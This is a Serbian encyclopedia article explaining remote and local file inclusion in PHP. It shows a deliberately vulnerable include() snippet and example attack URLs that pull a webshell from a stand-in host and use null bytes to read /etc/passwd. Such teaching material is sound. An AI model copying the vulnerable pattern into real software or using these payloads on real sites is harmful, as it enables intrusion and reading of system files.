Рањивост укључивањем датотека

Укључивање удаљених датотека (енгл. Remote File Inclusion) је најчешћа врста рањивости која се јавља на сајтовима. Омогућава нападачу да укључи удаљену датотеку, углавном кроз скрипте сервера. Ови проблеми се могу јавити уколико се кориснички унос користи без адекватне провере. То може довести до минималних проблема, попут приказа садржаја датотка, или озбилјнијих претњи попут:

  • Изврњавања кода на серверу.
  • Извршавање кода на страни клијента, уз помоћ JavaScript-a, што може довести до других напада као што је уметање скриптова.
  • DoS напад.
  • Манипулације или крађе података.

Програмски језеци

РНР

У РНР-у главни узрок је коришћење непроверених спољашњих променљивих као што су $_GET, $_POST, $_COOKIE са функцијама за датотечни систем. Најзаступљније су include и require наредбе. Већина рањивости се приписује програмерима почетницима који нису упознати са свим могућностима РНР програмског јеѕика. У РНР језику постоји наредба allow_url_fopen која, ако је „позвана“, дозвољава функцијама датотечног система да користе веб-адресе како би преузели податке са удаљених локација.[1] Нападач мења променљиву која се преноси у једну од тих функција како би је „натерао“ да изазове укључивање злонамерног кода са удаљене локације. Да би се умањила могућност овог проблема сви кориснички уноси морају бити проверени пре него што се употребе.[2][3]

Пример

Анализираћемо ову РНР скрипту која укључује датотеку одређену захтевом:

<?php
   if ( isset( $_GET['COLOR'] ) ) {
      include( $_GET['COLOR'] . '.php' );
   }
?>
<form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

Програмер је намеравао да само blue.php и red.php буду коришћене опције, али је могуће убацити код из других датотека будући да свако може убацити произвољне вредности за параметар COLOR.

  • /ranjiv.php?COLOR=http://zli.primer.com/webshell.txt? -убацује удаљену датотеку која садржи злонамерни код.
  • /ranjiv.php?COLOR=C:\\ftp\\upload\\exploit - Извршава код који је већ постављен на серевер, са називом exploit.php (укључивање локалне датотеке).
  • /ranjiv.php?COLOR=C:\\notes.txt%00 - Уз помоћ NULL мета карактера уклања се .рhр. суфикс, сто омогућава приступ фајловима који нису .рнр (Укључивање magic_quotes_gpc ограничава напад онемогућавањем специјалних карактера, али то такодје онемгућава употребу NULL карактера).
  • /ranjiv.php?COLOR=/etc/passwd%00 - Омогућава нападачу читање датотеке password на UNIX систему.

Укључивање локалне датотеке

Укључивање локалне датотеке (енгл. Local File Inclusion) је слично укључивању удаљених датотека осим што уместо укључивања удаљених датотека, укључују се локалне датотеке тј. датотеке са сервера странице. Рањивост настаје због употребе корисничјих уноса без претходне провере.

Види још

Извори

  1. ^ „Using remote files”. PHP. Приступљено 3. 3. 2013. 
  2. ^ „Remote File Inclusion”. The Web Application Security Consortium. Приступљено 3. 3. 2013. 
  3. ^ „CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')”. Common Weakness Enumeration (CWE). Mitre. Приступљено 3. 3. 2013. 

Спољашње везе